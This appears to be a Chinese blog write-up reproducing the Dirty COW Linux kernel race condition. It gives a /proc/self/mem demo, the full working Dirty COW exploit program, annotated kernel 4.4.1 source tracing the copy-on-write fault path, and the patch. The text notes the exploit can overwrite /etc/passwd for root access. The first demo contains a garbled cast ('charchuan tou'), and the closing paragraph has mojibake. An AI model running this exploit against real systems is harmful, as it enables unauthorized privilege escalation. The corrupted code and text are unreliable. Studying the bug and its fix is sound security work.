Dirty COW漏洞复现
1.基础知识们
/proc/self/mem
穿透
查看官方proc手册
/proc/pid/mem
This file can be used to access the pages of a process's memory through open(2), read(2), and lseek(2).
Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).
可以看到说明是被用来访问进程的虚拟内存,我们可以通过常用的几个系统调用来进行访问,但这里注明一般需要有着高等级的权限,例如root用户(但是这里仅使用普通用户却仍然可以成功,因此我们在源码部分再进行详细解读)
这里存在一个神奇的点,那就是我们可以通过该文件系统来写入不可写的内存页面,考虑下面这个poc
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <error.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
void memwrite(char *dst, char *rsc, int size){
int proc_mem;
proc_mem = open("/proc/self/mem", O_RDWR);
if(proc_mem < 0){
perror("open mem failed");
exit(1);
}
if(lseek(proc_mem, (size_t)dst, SEEK_SET) == -1){
perror("lseek failed");
close(proc_mem);
exit(1);
}
if(write(proc_mem, rsc, size) < 0){
perror("write failed");
close(proc_mem);
exit(1);
}
printf("Successfully write to the mem %p\n", dst);
close(proc_mem);
}
int main()
{
size_t *mymap;
char strange[] = "\x41\x41\x41\x41";
char interupt = '\xcc';
mymap = (size_t *)mmap(NULL, 0x9000, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(mymap < 0){
perror("mmap mymap");
exit(1);
}
memwrite((char *)mymap, (charchuan tou *)strange, sizeof(strange));
printf("mymap content:%s\n", mymap);
getchar();
memwrite((char *)getchar, "\xcc", 1);
getchar();
}
这段代码极其简单,我们首先是通过mmap申请一个内存映射,可以看到我们将这段内存置为仅仅可读,然后我们尝试使用 /proc/self/mem
函数向其中写入四个A字符,然后我们又尝试写入共享模块libc当中的函数页面,也就是getchar函数的地址,我们写入了一个 \xcc
字符,而这个 \xcc
实际上就是一个中断指令,如果我们修改成功,那么下一次调用getchar()内核将会捕获到一个中断信息
Boot took 0.28 seconds
/ # ./poc
Successfully write to the mem 0x7efd4b963000
mymap content:AAAA
Successfully write to the mem 0x409fb0
Trace/breakpoint trap
上面我们会发现,映射的只读地址却被成功写入,
Question?
十分的奇怪,这里不禁思考,如果每个进程只要权限高点的话,那不是可以随意修改自己的进程空间了吗,那很有可能遭到各种损坏的呀
因特尔手册上面有交代设置控制内核访问内存的能力的标志
Write Protect (bit 16 of CR0) — When set, inhibits supervisor-level procedures from writing into read- only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6).
也就是十分重要的cr0寄存器上面的第16位 WP(Write Proctect)
,若设置则不允许主管级进程写入用户态的只读页面,而若清除则允许,还有一个就是SMAP,我们常遇到的内核保护标志,这里主要是禁止内核读取或写入用户空间内存,常与他一起的是SMEP
接下来我们来看一下/proc/self/mem
的实现,其位于 fs/proc/base.c
当中
由于本次复现用到的是 linux-4.4.1的内核,理所当然是看该版本的源码
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
而其中的read/write指针均指向的是 mem_rw
函数
其中比较重要的是 access_remote_vm
函数
3649 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
3650 unsigned long addr, void *buf, int len, int write)
3651 {
3652 struct vm_area_struct *vma;
3653 void *old_buf = buf;
...
3661
3662 ret = get_user_pages(tsk, mm, addr, 1,
3663 write, 1, &page, &vma);
3664 if (ret <= 0) {
3665 #ifndef CONFIG_HAVE_IOREMAP_PROT
3666 break;
3667 #else
这里发现大概在5.*版本之后 get_user_pages
函数添加了一个wrapper get_user_pages_remote
,但这两者区别并不是很大,这个是官方源码注释说的熬,并且据我观察 get_uesr_pages_remote
的代码注释跟前面版本的 get_user_pages
几乎一样~
这里不得不说一下MMU
和get_user_pages
的区别与相同之处,但可能并不完整:
相同:
- MMU与get_user_pages均是通过操作页表来将虚拟地址转换为物理地址
不同:
- MMU是硬件实现,因此他会转而去检测一些硬件的东西,例如说我们的CR0寄存器的WP位
- get_user_pages是内核的函数实现,他虽然说还是会通过页表遍历来获取物理地址,但并不会去检测cr0寄存器的取值,并且这在目前来看是有点合理的,毕竟内核没必要将用户态传入的虚拟地址再来通过MMU访问一次得到物理地址,他自身就有一个十分“安全”的解决方法
然后内核再将获取到的物理地址通过 kmap
函数映射到内核的虚拟地址空间,并且该虚拟地址空间是有着 R/W
权限的,所以内核可以正常的读写该页面
因此 /proc/slef/mem
就通过这种形式绕过了MMU对于地址的检测,写入了原本用户态定义为不可写的页面
very good
2.Exploit分析
这里我们直接给出利用的poc,然后依次分析函数的调用情况,该poc最终导致的结果是可以再只读的文件下写入值,这无疑是十分危险的,加入我们向 /etc/passwd
文件写入一个root权限的用户,那么就会直接导致提权
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg) {
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[]) {
if (argc<3)return 1;
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
我们可以首先看到这里的main函数先打开了我们的 victim file
,然后我们利用 mmap
函数,这里是将内存中打开的文件映射到我们的用户虚拟地址空间,并且仅仅只有只读权限。
此时开启了两个线程 madviseThread,procselfmemThread
,我们首先看第二个线程的实现
第一次page fault
这里他打开了 /proc/self/mem
文件,也就是该用户程序的虚拟内存空间,然后不断尝试往映射到的 victim file
区域写入我们的第二个参数的值
由于这里是写入的 /proc/self/mem
,因此首先调用的是 mem_write
函数,但他实际上就是 mem_rw
的wrapper,只是通过标识位区分他们,所以这里直接看 mem_rw
write->mem_write->mem_rw
/* @file:将要写入的文件
* @buf:用户希望写入的字符串
* @count:写入的字节数
* @ppos:即将写入的虚拟地址
* @write:写标志位,这里通过mem_write函数可以看到直接传递的1值
*/
847 static ssize_t mem_rw(struct file *file, char __user *buf,
848 size_t count, loff_t *ppos, int write)
849 {
850 struct mm_struct *mm = file->private_data;
851 unsigned long addr = *ppos;
852 ssize_t copied;
853 char *page;
..............
873
874 this_len = access_remote_vm(mm, addr, page, this_len, write);
875 if (!this_len) {
876 if (!copied)
877 copied = -EIO;
878 break;
879 }
其中访问用户的内存空间主要是依仗该函数 access_remote_vm
,接着看
access_remote_vm->__access_remote_vm
3645 /*
3646 * Access another process' address space as given in mm. If non-NULL, use the
3647 * given task for page fault accounting.
* @tsk:从上一级函数可以看到这里实际上传递的NULL
* @mm:为file->private_data
* @addr:将要写入的虚拟地址
* @buf:mem_rw函数当中刚刚使用__get_free_pages获取到的新物理映射到的新内核虚拟地址
* @len:即将写入的长度
* @write:同上为1
3648 */
3649 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
3650 unsigned long addr, void *buf, int len, int write)
3651 {
/*
* This struct defines a memory VMM memory area. There is one of these
* per VM-area/task. A VM area is any part of the process virtual memory
* space that has a special rule for the page-fault handlers (ie a shared
* library, the executable area etc).
* 这里的注释为结构体(strcut vm_area_struct)
*/
3652 struct vm_area_struct *vma;
3653 void *old_buf = buf;
3654
/* lock for reading */
3655 down_read(&mm->mmap_sem);
3656 /* ignore errors, just check how much was successfully transferred */
3657 while (len) {
3658 int bytes, ret, offset;
3659 void *maddr;
3660 struct page *page = NULL;
3661 /* 通过页表来获取addr对应的物理页面,也就是page结构体,这里同样返回了映射到的内核虚拟地址 */
3662 ret = get_user_pages(tsk, mm, addr, 1,
3663 write, 1, &page, &vma);
3664 if (ret <= 0) {
3665 #ifndef CONFIG_HAVE_IOREMAP_PROT
3666 break;
3667 #else
3668 /*
3669 * Check if this is a VM_IO | VM_PFNMAP VMA, which
3670 * we can access using slightly different code.
3671 */
3672 vma = find_vma(mm, addr);
3673 if (!vma || vma->vm_start > addr)
3674 break;
3675 if (vma->vm_ops && vma->vm_ops->access)
3676 ret = vma->vm_ops->access(vma, addr, buf,
3677 len, write);
3678 if (ret <= 0)
3679 break;
3680 bytes = ret;
3681 #endif
3682 } else {
3683 bytes = len;
3684 offset = addr & (PAGE_SIZE-1);
3685 if (bytes > PAGE_SIZE-offset)
3686 bytes = PAGE_SIZE-offset;
3687
3688 maddr = kmap(page);
...
3705
3706 return buf - old_buf;
3707 }
这里主要讲解 get_user_pages
函数,他是通过用户给出的虚拟地址从页表得到物理地址然后返回,这里传递的特殊的标识符为一个write=1,和force=1,这两个参数在后面体现为 __get_user_pages
函数的参数flags=FOLL_GET|FOLL_WRITE|FOLL_FORCE
855 long get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
856 unsigned long start, unsigned long nr_pages, int write,
857 int force, struct page **pages, struct vm_area_struct **vmas)
858 {
859 return __get_user_pages_locked(tsk, mm, start, nr_pages, write, force,
860 pages, vmas, NULL, false, FOLL_TOUCH);
861 }
/*
* @tsk:没变化,仍然传递的NULL
* @mm:同上
* @start:将要访问的用户虚拟地址
* @nr_pages:指物理页框的数量,这里是传入来一个恒定的值,1
* @write:1
* @force:1
* @pages:struct page 结构体的指针的地址
* @vmas:struct vma_area_struct 结构体的指针的地址
* @locked:传递NULL
* @notify_drop:传递false
* @flags:FOLL_TOUCH,值为0x02,官方注释为 mark page accessed
*/
621 static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
622 struct mm_struct *mm,
623 unsigned long start,
624 unsigned long nr_pages,
625 int write, int force,
626 struct page **pages,
627 struct vm_area_struct **vmas,
628 int *locked, bool notify_drop,
629 unsigned int flags)
630 {
631 long ret, pages_done;
632 bool lock_dropped;
633
.....
/*
#define FOLL_WRITE 0x01 check pte is writable
#define FOLL_TOUCH 0x02 mark page accessed
#define FOLL_GET 0x04 do get_page on page
#define FOLL_FORCE 0x10 get_user_pages read/write w/o permission
因此执行下面的操作后,flags值应该是 FOLL_WRITE|FOLL_TOUCH|FOLL_GET|FOLL_FORCE = 0x17
*/
640
641 if (pages)
642 flags |= FOLL_GET;
643 if (write)
644 flags |= FOLL_WRITE;
645 if (force)
646 flags |= FOLL_FORCE;
647
648 pages_done = 0;
649 lock_dropped = false;
650 for (;;) {
651 ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
652 vmas, locked);
该函数基本就是加了个锁状态防止同步,接下来我们来看 __get_user_pages
/*
* @gup_flags:就是上面的flags,0x17
* @nonblocking:为之前传递的locked,此时为0
*/
453 long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
454 unsigned long start, unsigned long nr_pages,
455 unsigned int gup_flags, struct page **pages,
456 struct vm_area_struct **vmas, int *nonblocking)
457 {
458 long i = 0;
459 unsigned int page_mask;
460 struct vm_area_struct *vma = NULL;
461
462 if (!nr_pages)
463 return 0;
464
465 VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
466
467 /*
468 * If FOLL_FORCE is set then do not force a full fault as the hinting
469 * fault information is unrelated to the reference behaviour of a task
470 * using the address space
* 如果设置了 FOLL_FORCE,则不要强制发生完整故障,因为提示故障信息与使用地址空间的任务的引用行为无关
471 */
472 if (!(gup_flags & FOLL_FORCE))
473 gup_flags |= FOLL_NUMA;
474
475 do {
...
494 if (!vma || check_vma_flags(vma, gup_flags))
495 return i ? : -EFAULT;
496 if (is_vm_hugetlb_page(vma)) {
497 i = follow_hugetlb_page(mm, vma, pages, vmas,
498 &start, &nr_pages, i,
499 gup_flags);
500 continue;
501 }
502 }
503 retry:
504 /*
505 * If we have a pending SIGKILL, don't keep faulting pages and
506 * potentially allocating memory.
507 */
508 if (unlikely(fatal_signal_pending(current)))
509 return i ? i : -ERESTARTSYS;
510 cond_resched();
511 page = follow_page_mask(vma, start, foll_flags, &page_mask);
512 if (!page) {
513 int ret;
514 ret = faultin_page(tsk, vma, start, &foll_flags,
515 nonblocking);
516 switch (ret) {
517 case 0:
518 goto retry;
519 case -EFAULT:
520 case -ENOMEM:
521 case -EHWPOISON:
522 return i ? i : ret;
523 case -EBUSY:
524 return i;
525 case -ENOENT:
526 goto next_page;
527 }
528 BUG();
529 } else if (PTR_ERR(page) == -EEXIST) {
530 /*
531 * Proper page table entry exists, but no corresponding
532 * struct page.
533 */
534 goto next_page;
535 } else if (IS_ERR(page)) {
536 return i ? i : PTR_ERR(page);
537 }
538 if (pages) {
539 pages[i] = page;
540 flush_anon_page(vma, page, start);
541 flush_dcache_page(page);
542 page_mask = 0;
543 }
544 next_page:
545 if (vmas) {
546 vmas[i] = vma;
547 page_mask = 0;
548 }
549 page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
550 if (page_increm > nr_pages)
551 page_increm = nr_pages;
552 i += page_increm;
553 start += page_increm * PAGE_SIZE;
554 nr_pages -= page_increm;
555 } while (nr_pages);
556 return i;
557 }
该函数前面的部分体现了为什么要加上 FOLL_FORCE
这个参数,当我们执行到一个检测函数 check_vma_flags
的时候,如下:
359 static int check_vma_flags(struct vm_area_struct *vma, unsigned long gup_flags)
360 {
361 vm_flags_t vm_flags = vma->vm_flags;
362
363 if (vm_flags & (VM_IO | VM_PFNMAP))
364 return -EFAULT;
365
366 if (gup_flags & FOLL_WRITE) {
367 if (!(vm_flags & VM_WRITE)) {
368 if (!(gup_flags & FOLL_FORCE))
369 return -EFAULT;
370 /*
371 * We used to let the write,force case do COW in a
372 * VM_MAYWRITE VM_SHARED !VM_WRITE vma, so ptrace could
373 * set a breakpoint in a read-only mapping of an
374 * executable, without corrupting the file (yet only
375 * when that file had been opened for writing!).
376 * Anon pages in shared mappings are surprising: now
377 * just reject it.
378 */
379 if (!is_cow_mapping(vm_flags)) {
380 WARN_ON_ONCE(vm_flags & VM_MAYWRITE);
381 return -EFAULT;
382 }
...
394 return 0;
395 }
这里可以看到如果我们设置force参数,这样这里就不会报错
这里接着讲回到 __get_user_pages
的retry部分,首先是通过follow_page_mask
函数来获取对应用户虚拟地址所映射到的物理地址
164 /**
165 * follow_page_mask - look up a page descriptor from a user-virtual address
166 * @vma: vm_area_struct mapping @address
167 * @address: virtual address to look up
168 * @flags: flags modifying lookup behaviour
169 * @page_mask: on output, *page_mask is set according to the size of the page
170 *
171 * @flags can have FOLL_ flags set, defined in <linux/mm.h>
172 *
173 * Returns the mapped (struct page *), %NULL if no mapping exists, or
174 * an error pointer if there is a mapping to something not represented
175 * by a page descriptor (see also vm_normal_page()).
176 */
177 struct page *follow_page_mask(struct vm_area_struct *vma,
178 unsigned long address, unsigned int flags,
179 unsigned int *page_mask)
180 {
181 pgd_t *pgd;
182 pud_t *pud;
183 pmd_t *pmd;
184 spinlock_t *ptl;
185 struct page *page;
186 struct mm_struct *mm = vma->vm_mm;
177 struct page *follow_page_mask(struct vm_area_struct *vma,
178 unsigned long address, unsigned int flags,
179 unsigned int *page_mask)
180 {
181 pgd_t *pgd;
182 pud_t *pud;
183 pmd_t *pmd;
184 spinlock_t *ptl;
185 struct page *page;
186 struct mm_struct *mm = vma->vm_mm;
221 if ((flags & FOLL_NUMA) && pmd_protnone(*pmd))
222 return no_page_table(vma, flags);
223 if (pmd_trans_huge(*pmd)) { .....
243 return follow_page_pte(vma, address, pmd, flags);
244 }
可以通过注释快速了解函数的作用,最后是调用 follow_page_pte
来从页表项当中获取虚拟地址映射到的物理地址,首先我们可以知道我们第一次访问mmap所建立的物理映射的时候,他并没有体现在页表当中,而是会触发我们的PAGE FAULT处理函数,然后才是真正建立了页表的映射,所以该函数 follow_page_mask
也必定会返回NULL值,我们同样可以通过调试来确定这一点
接下来查看 follow_page_pte
函数,如下:
61 static struct page *follow_page_pte(struct vm_area_struct *vma,
62 unsigned long address, pmd_t *pmd, unsigned int flags)
63 {
64 struct mm_struct *mm = vma->vm_mm;
65 struct page *page;
66 spinlock_t *ptl;
67 pte_t *ptep, pte;
68
69 retry:
70 if (unlikely(pmd_bad(*pmd)))
71 return no_page_table(vma, flags);
72
73 ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
74 pte = *ptep;
.....
95 if ((flags & FOLL_WRITE) && !pte_write(pte)) {
96 pte_unmap_unlock(ptep, ptl);
97 return NULL;
98 }
99
由于我们mmap映射到的用户虚拟地址是第一次访问,因此还并没有在页表上面建立映射,所以这里得到的pte(page_table_entry)也必定为0
得知返回值为0我们继续分析 __get_user_pages
的retry
503 retry:
504 /*
505 * If we have a pending SIGKILL, don't keep faulting pages and
506 * potentially allocating memory.
507 */
508 if (unlikely(fatal_signal_pending(current)))
509 return i ? i : -ERESTARTSYS;
510 cond_resched();
511 page = follow_page_mask(vma, start, foll_flags, &page_mask);
512 if (!page) {
513 int ret;
514 ret = faultin_page(tsk, vma, start, &foll_flags,
515 nonblocking);
.......
若page为0,则会调用 faultin_page
函数
290 /*
291 * mmap_sem must be held on entry. If @nonblocking != NULL and
292 * *@flags does not include FOLL_NOWAIT, the mmap_sem may be released.
293 * If it is, *@nonblocking will be set to 0 and -EBUSY returned.
294 */
295 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
296 unsigned long address, unsigned int *flags, int *nonblocking)
297 {
298 struct mm_struct *mm = vma->vm_mm;
299 unsigned int fault_flags = 0;
300 int ret;
......
310 if (*flags & FOLL_WRITE)
311 fault_flags |= FAULT_FLAG_WRITE;
......
320
321 ret = handle_mm_fault(mm, vma, address, fault_flags);
......
看到这里的faultin_page函数由于你传入的标识为有 FOLL_WRITE
,因此他给 fault_flags
加上了 FAULT_FLAG_WRITE
标识位,也就是说 fault_flags=1
然后调用handle_mm_fault->__handle_mm_fault->handle_pte_fault
3272 static int handle_pte_fault(struct mm_struct *mm,
3273 struct vm_area_struct *vma, unsigned long address,
3274 pte_t *pte, pmd_t *pmd, unsigned int flags)
3275 {
.......
3287 entry = *pte;
3288 barrier();
3289 if (!pte_present(entry)) {
3290 if (pte_none(entry)) {
3291 if (vma_is_anonymous(vma))
3292 return do_anonymous_page(mm, vma, address,
3293 pte, pmd, flags);
3294 else
3295 return do_fault(mm, vma, address, pte, pmd,
3296 flags, entry);
3297 }
.......
由于这是我们第一次处理缺页异常,因此这里获取到的pte是空,因此会进入下面的判断,而由于我们在创建mmap映射的时候,传递的flag参数为 PROT_READ|MAP_PRIVATE
,所以这里并不会调用 do_anonymouse_page
,因此会紧接着调用 do_fault
函数
3108 /*
3109 * We enter with non-exclusive mmap_sem (to exclude vma changes,
3110 * but allow concurrent faults).
3111 * The mmap_sem may have been released depending on flags and our
3112 * return value. See filemap_fault() and __lock_page_or_retry().
3113 */
3114 static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
3115 unsigned long address, pte_t *page_table, pmd_t *pmd,
3116 unsigned int flags, pte_t orig_pte)
3117 {
3118 pgoff_t pgoff = (((address & PAGE_MASK)
3119 - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
3120
3121 pte_unmap(page_table);
3122 /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
3123 if (!vma->vm_ops->fault)
3124 return VM_FAULT_SIGBUS;
3125 if (!(flags & FAULT_FLAG_WRITE))
3126 return do_read_fault(mm, vma, address, pmd, pgoff, flags,
3127 orig_pte);
3128 if (!(vma->vm_flags & VM_SHARED))
3129 return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
3130 orig_pte);
3131 return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
3132 }
这里可以看到,由于我们flags仅仅为 FAULT_FLAG+WRITE
,并且我们的vmflags没有 VM_SHARED
(这是因为我们创建映射的时候是MAP_PRIVATE,也就是私有映射),所以会调用 do_cow_fault
而 do_cow_fault
的功能首先获取一个新的页面 new_page,然后调用 __do_fault
函数来将page cache中关于文件的映射部分复制到fault_page当中(获取fault_page体现在 find_get_page
函数当中,他会返回我们的page cache page,这里会增加引用计数的,所以不要担心释放的问题 ),然后调用函数 copy_user_highpage
将fault_page的内容复制到new_page当中,最后释放fault_page,然后就开始与虚拟地址在页表当中建立映射,调用 do_set_pte
2810 void do_set_pte(struct vm_area_struct *vma, unsigned long address,
2811 struct page *page, pte_t *pte, bool write, bool anon)
2812 {
2813 pte_t entry;
2814
2815 flush_icache_page(vma, page);
2816 entry = mk_pte(page, vma->vm_page_prot);
2817 if (write)
/* 这里注意带了个脏位 */
2818 entry = maybe_mkwrite(pte_mkdirty(entry), vma);
2819 if (anon) {
2820 inc_mm_counter_fast(vma->vm_mm, MM_ANONPAGES);
2821 page_add_new_anon_rmap(page, vma, address);
2822 } else {
2823 inc_mm_counter_fast(vma->vm_mm, MM_FILEPAGES);
2824 page_add_file_rmap(page);
2825 }
2826 set_pte_at(vma->vm_mm, address, pte, entry);
2827
2828 /* no need to invalidate: a not-present page won't be cached */
2829 update_mmu_cache(vma, address, pte);
2830 }
由于我们传入的参数当中是写错误,所以这里会调用 maybe_mkwrite
或者写入可写位,这里继续跟进
572 static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
573 {
574 if (likely(vma->vm_flags & VM_WRITE))
575 pte = pte_mkwrite(pte);
576 return pte;
577 }
可以看到,如果说我们的vm_flags存在可写标识,那么就会将该pte的可写位置上,否则就不管,现在大火可能懂了为什么是“或者写“了,经过这一段操作,会制造成下面这种情况
第二次page fault
从上面的 do_cow_fault
函数一路返回0,然后再次到达 __get_user_pages
函数的retry部分,再一次调用 follow_page_mask
函数来寻找pte,当我们一路走到 follow_page_pte
函数的时候,这时会有个判断
95 if ((flags & FOLL_WRITE) && !pte_write(pte)) {
96 pte_unmap_unlock(ptep, ptl);
97 return NULL;
98 }
我们此时传入的flags仍然带有 FOLL_WRITE
参数,然后他会检查我们刚刚创建的pte是否有可写标识,但看我们上面的图是明显没有的,因此这里会再次返回NULL,我们即将迎来第二次page fault
而此次根据我们pte的标识,进入 handle_page_pte
函数最终会走到下面这一段,调用 do_wp_page
3309 if (flags & FAULT_FLAG_WRITE) {
3310 if (!pte_write(entry))
3311 return do_wp_page(mm, vma, address,
3312 pte, pmd, ptl, entry);
3313 entry = pte_mkdirty(entry);
3314 }
由于我们的页面是可交换和重用的,然后会调用到下面的这一段,这一段是 do_wp_page
的一部分
2330 if (reuse_swap_page(old_page)) {
2331 /*
2332 * The page is all ours. Move it to our anon_vma so
2333 * the rmap code will not search our parent or siblings.
2334 * Protected against the rmap code by the page lock.
2335 */
2336 page_move_anon_rmap(old_page, vma, address);
2337 unlock_page(old_page);
2338 return wp_page_reuse(mm, vma, address, page_table, ptl,
2339 orig_pte, old_page, 0, 0);
2340 }
然后我们再看 wp_page_reuse
函数,注意到这里的返回值
1993 static inline int wp_page_reuse(struct mm_struct *mm,
1994 struct vm_area_struct *vma, unsigned long address,
1995 pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
1996 struct page *page, int page_mkwrite,
1997 int dirty_shared)
1998 __releases(ptl)
1999 {
.....
2041 return VM_FAULT_WRITE;
2042 }
这个返回值是关键,这里一路返回到 faultin_page
函数,
295 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
296 unsigned long address, unsigned int *flags, int *nonblocking)
297 {
........
345 /*
346 * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
347 * necessary, even if maybe_mkwrite decided not to set pte_write. We
348 * can thus safely do subsequent page lookups as if they were reads.
349 * But only do so when looping for pte_write is futile: in some cases
350 * userspace may also be wanting to write to the gotten user page,
351 * which a read fault here might prevent (a readonly page might get
352 * reCOWed by userspace write).
353 */
354 if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
355 *flags &= ~FOLL_WRITE;
356 return 0;
357 }
可以看到他是将我们传递的flags的 FOLL_WRITE
标志位给去掉了,还记得我们最初的标志位吗 FOLL_GET|FOLL_WRITE|FOLL_FORCE
然后我们继续返回0,此时再一次准备 __get_user_pages
的 retry
部分,但是这里注意,我们的第二个线程实际上在悄悄偷跑,接下来就真正涉及到了条件竞争的利用
第三次page fault
由於這是我們再一次到達__get_user_pages函數的retry,如下
503 retry:
504 /*
505 * If we have a pending SIGKILL, don't keep faulting pages and
506 * potentially allocating memory.
507 */
508 if (unlikely(fatal_signal_pending(current)))
509 return i ? i : -ERESTARTSYS;
510 cond_resched();
511 page = follow_page_mask(vma, start, foll_flags, &page_mask);
512 if (!page) {
513 int ret;
514 ret = faultin_page(tsk, vma, start, &foll_flags,
515 nonblocking);
516 switch (ret) {
517 case 0:
518 goto retry;
519 case -EFAULT:
520 case -ENOMEM:
這裏有一個 cond_resched
函數,該函數會將CPU交給寧外一個任務,這裏就導致了我們的條件競爭,如果說這裏我們的第二各線程調用madvise系統調用,並帶上 DONTNEED
參數,他會將對應的內存映射解除,所謂映射解除,也就僅僅是將我們的pte解除綁定而已,如下:
然後我們繼續進入 follow_page_mask->follow_page_pte
函數,此時我們可以知道map映射是存在pte的,且標誌位爲 rdonly和dirty
,並且我們訪問的flags由於消除掉了 FOLL_WRITE
,這樣會導致他變爲 FOLL_GET|FOLL_FORCE
,並且注意這裏的pte PRSENT位也消失掉,這是因爲你物理映射都沒了,你這個pte也應該標識爲沒用,所以這裏我們的 follow_page_mask
函數仍然返回空,這裏會進入到第三次缺頁錯誤,調用 faultin_page
函數
但是這一次的page fault同之前有區別,區別在與我們的flags並不帶上 FOLL_WRITE
,這裏說明了並不是寫操作,那除了寫不就是read?
實際情況跟我們想得一樣,我們會依次調用
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault
do_read_fault
而既然我們現在是寫轉讀,內核發現這是各讀請求,那就沒必要進行COW,直接將page cache中對應文件的page頁面直接返回,然後我們再次回到 __get_user_pages
函數,此時返回的page直接就是我們的page cache,然後再調用kmap來在內核進行映射,然後緊接着進行 __access_remote_vm
的過程
這樣當我們寫操作直接將會寫入page cache,並且在最後會由於 kernel page table
的頁表項存在髒位,這也會導致在某次磁盤同步的時候將對應修改的文件寫會到磁盤,這也導致了我們對於一個僅僅可讀的文件寫入的Dirty COW漏洞
3.修復
Dirty Cow 補丁
這裏添加了名爲 FOLL_COW
的新標識爲,使得我們在調用 do_wp_fault
函數之後會使得他並不清除掉 FOLL_WRITE
位,而是新增一個標記爲 FOLL_COW
用來標識該頁面是一個COW頁,這樣就可以使得我們之後不會以讀的請求來調用 faultin_page
函數
有同學或許可能有疑問,既然我們的 /proc/self/mem
函數已經可以寫入進程所映射到的可讀空間了,那爲什麼還要第二各madvise線程呢,這是因爲雖然我們可以確實修改進程當中所映射到的文件物理內存,但這個物理內存是通過COW獲取道德新物理內存,他並不會再寫回到文件系統,而是隨着進程咝型戤叾А? ,而調用第二個線程可以使得我們直接操作page cache當中直接映射到的文件頁面,並且由於kmap自動爲內核頁表項帶上RD/WR位和dirty位,這使得在之後的同步階段會將這個物理地址寫回到磁盤